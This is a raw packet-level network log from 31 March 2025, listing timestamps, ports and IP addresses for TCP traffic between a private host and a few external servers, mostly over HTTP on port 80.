Mar 31, 2025 14:08:29.725446939 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.725461006 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.725475073 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.725491047 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.725513935 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.725528955 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.725950003 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.955574036 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.955593109 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.955604076 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.955614090 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.955624104 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.955634117 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.955631971 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.955643892 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.955655098 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.955672026 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.955672026 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.955672026 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.955672026 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.955672026 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.955672026 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.955672026 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.955719948 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.955735922 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.955746889 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.955754042 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.955758095 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.955774069 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.955918074 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.955929041 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.955939054 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.955954075 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.955962896 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.955971003 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.955971003 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.955972910 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.955982924 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.955992937 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.955992937 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:29.956002951 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.956012011 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.956022024 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.956033945 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.956044912 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.956058025 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.956063986 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.956073999 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:29.957011938 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:30.229999065 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:30.230076075 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:30.460077047 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:30.460103035 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:30.460114956 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:30.460170031 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:30.460170031 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:30.460170031 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:31.337059021 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:31.337116957 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:31.565705061 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:31.565747023 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:31.565865993 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:31.565865993 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:31.829124928 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:31.829181910 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:31.875972986 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:31.966561079 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:32.194304943 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:32.194417000 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:32.196085930 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:32.427925110 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:32.431958914 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:32.431978941 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:32.432019949 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:32.432019949 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:32.438461065 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:32.438483953 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:32.438503027 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:32.438515902 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:32.447983980 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:32.448003054 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:32.448039055 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:32.448039055 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:32.665679932 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:32.665819883 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:32.665817976 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:32.665855885 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:32.730283022 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:32.730330944 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:32.730362892 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:32.730397940 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:32.731112957 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:32.731159925 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:32.731165886 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:32.731201887 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:32.731882095 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:32.731915951 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:32.731926918 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:32.731947899 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:32.731962919 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:32.731982946 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:32.732000113 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:32.732037067 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:32.825706005 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:32.825742960 CEST	80	48274	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:32.825797081 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:32.825835943 CEST	48274	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:32.925103903 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:32.925192118 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:33.047971010 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:33.048130035 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:33.148786068 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:33.148919106 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:33.328857899 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:33.328881979 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:33.328893900 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:33.328958988 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:33.328959942 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:33.328959942 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:33.373699903 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:33.373764992 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:33.557806015 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:33.557826042 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:33.557908058 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:33.557908058 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:33.561999083 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:33.562040091 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:33.563092947 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:33.563132048 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:33.625175953 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:33.625250101 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:33.826951981 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:33.826978922 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:33.827039003 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:33.827053070 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:33.827156067 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:33.828174114 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:34.024847984 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:34.025003910 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:34.050736904 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:34.050765991 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:34.050779104 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:34.051836967 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:34.140672922 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:34.140784979 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:34.258541107 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:34.326689959 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:34.326719999 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:34.326734066 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:34.326817036 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:34.326817036 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:34.326817036 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:34.326960087 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:34.327004910 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:34.548340082 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:34.548377037 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:34.548388958 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:34.548418999 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:34.548429966 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:34.548507929 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:34.548507929 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:34.548507929 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:34.548507929 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:34.548507929 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:34.772856951 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:34.772876024 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:34.772891045 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:34.772903919 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:34.772906065 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:34.772921085 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:34.772947073 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:34.772947073 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:34.772947073 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:34.772958040 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:35.026062965 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:35.026094913 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:35.026160002 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:35.026170969 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:35.026175022 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:35.026170969 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:35.026196003 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:35.026210070 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:35.026210070 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:35.026225090 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:35.256335974 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:35.256364107 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:35.256450891 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:35.256452084 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:35.257154942 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:35.257174969 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:35.257199049 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:35.257199049 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:35.526144981 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:35.526232004 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:35.750261068 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:35.750515938 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:36.037271023 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:36.037374020 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:36.261310101 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:36.261337996 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:36.261393070 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:36.261393070 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:36.530245066 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:36.530265093 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:36.530312061 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:36.530358076 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:36.752302885 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:36.752326012 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:36.752355099 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:36.752355099 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:37.030642986 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.030667067 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.030689955 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:37.030735016 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:37.036206961 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.036251068 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:37.079404116 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:37.159698009 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:37.329910994 CEST	80	48276	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.330015898 CEST	48276	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:37.381593943 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.381858110 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:37.383579969 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:37.522190094 CEST	57216	443	192.168.2.13	54.247.62.1
Mar 31, 2025 14:08:37.627489090 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.627557993 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.627576113 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.627590895 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.627608061 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.627623081 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.627624035 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:37.627624035 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:37.627624035 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:37.627638102 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.627655029 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:37.627662897 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.627677917 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:37.627677917 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:37.627679110 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.627697945 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:37.627720118 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.627743006 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.627762079 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:37.627762079 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:37.627794027 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:37.712654114 CEST	443	57216	54.247.62.1	192.168.2.13
Mar 31, 2025 14:08:37.853873968 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.853910923 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.853926897 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.853945017 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.853967905 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.853986025 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.853990078 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:37.854003906 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.854022026 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.854022026 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:37.854022026 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:37.854022026 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:37.854022026 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:37.854022026 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:37.854038000 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.854057074 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.854074955 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.854090929 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.854105949 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.854387999 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.854406118 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.854420900 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:37.854624987 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.079932928 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.079951048 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.079965115 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.079993963 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.080009937 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.080027103 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.080041885 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.080049992 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.080065012 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.080082893 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.080091000 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.080091000 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.080091000 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.080091000 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.080091000 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.080091000 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.080091953 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.080100060 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.080111027 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.080187082 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.325308084 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.325328112 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.325340986 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.325355053 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.325371027 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.325382948 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.325393915 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.325407028 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.325407028 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.325407028 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.325422049 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.325437069 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.325447083 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.325447083 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.325447083 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.325447083 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.325447083 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.325447083 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.325464964 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.325510025 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.548964977 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.548980951 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.548993111 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.548999071 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.549010992 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.549022913 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.549034119 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.549048901 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.549058914 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.549061060 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.549058914 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.549060106 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.549060106 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.549060106 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.549073935 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.549088955 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.549092054 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.549092054 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.549092054 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.549093008 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.549102068 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.549114943 CEST	80	48278	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:38.549118042 CEST	48278	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:38.549118042 CEST	48278	80	192.168.2.13	217.156.66.6
